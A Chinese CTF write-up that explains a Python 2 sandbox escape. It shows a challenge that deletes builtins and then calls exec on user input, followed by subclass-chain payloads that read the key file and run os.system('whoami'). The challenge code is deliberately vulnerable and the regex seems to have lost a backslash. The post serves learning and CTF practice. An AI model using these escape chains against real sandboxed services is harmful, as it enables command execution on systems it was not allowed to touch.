一道简单的CTFpython沙箱逃逸题目

看了几天的ssti注入然后了解到有python沙箱逃逸

学过ssti注入的话python沙箱逃逸还是很容易理解的。

看一道CTF题目,源码的话我改了改,一开始不能用,直接在py2上运行就好。

题目要求读取./key的值,我们这里来执行命令。

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception as e:
		print 'Exception:', e  

题目一开始就删除了些危险函数,比如file等。

那删除和没删除有什么区别呢?

通俗来说,就是不能直接调用了。builtins里面被删除的函数不能被直接调用了。

那我们能不能通过别的办法调用file呢?答案是肯定的

"".__class__.__mro__[2].__subclasses__()[40]
这段不是builtins里面的函数,是直接从object拿来调用的,所以没问题。  

很轻松的就读到了key,可我们的目标是提权。

  • 我想用os模块,一种是从别的模块能不能直接调用它:
<class 'site._Printer'> [71](可以直接调用os模块)  
  • 另一种需要eval配合__import__导入os模块
<class 'warnings.catch_warnings'>[59]     
 open,eval,file,__import__,reload(并没有os,需要用eval配合__import__导入),可是这段需要builtins,里面的__import__被删除了。这个办法我想应该行不通。  

所以我们先找到<class 'site._Printer'>模块

''.__class__.__mro__[2].__subclasses__()[72]    
''.__class__.__mro__[2].__subclasses__()[71]
两个都试试,我linux和windows不一样不知道为啥,然后
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('whoami')完成命令执行  

原文地址:https://www.cnblogs.com/zaqzzz/p/10260201.html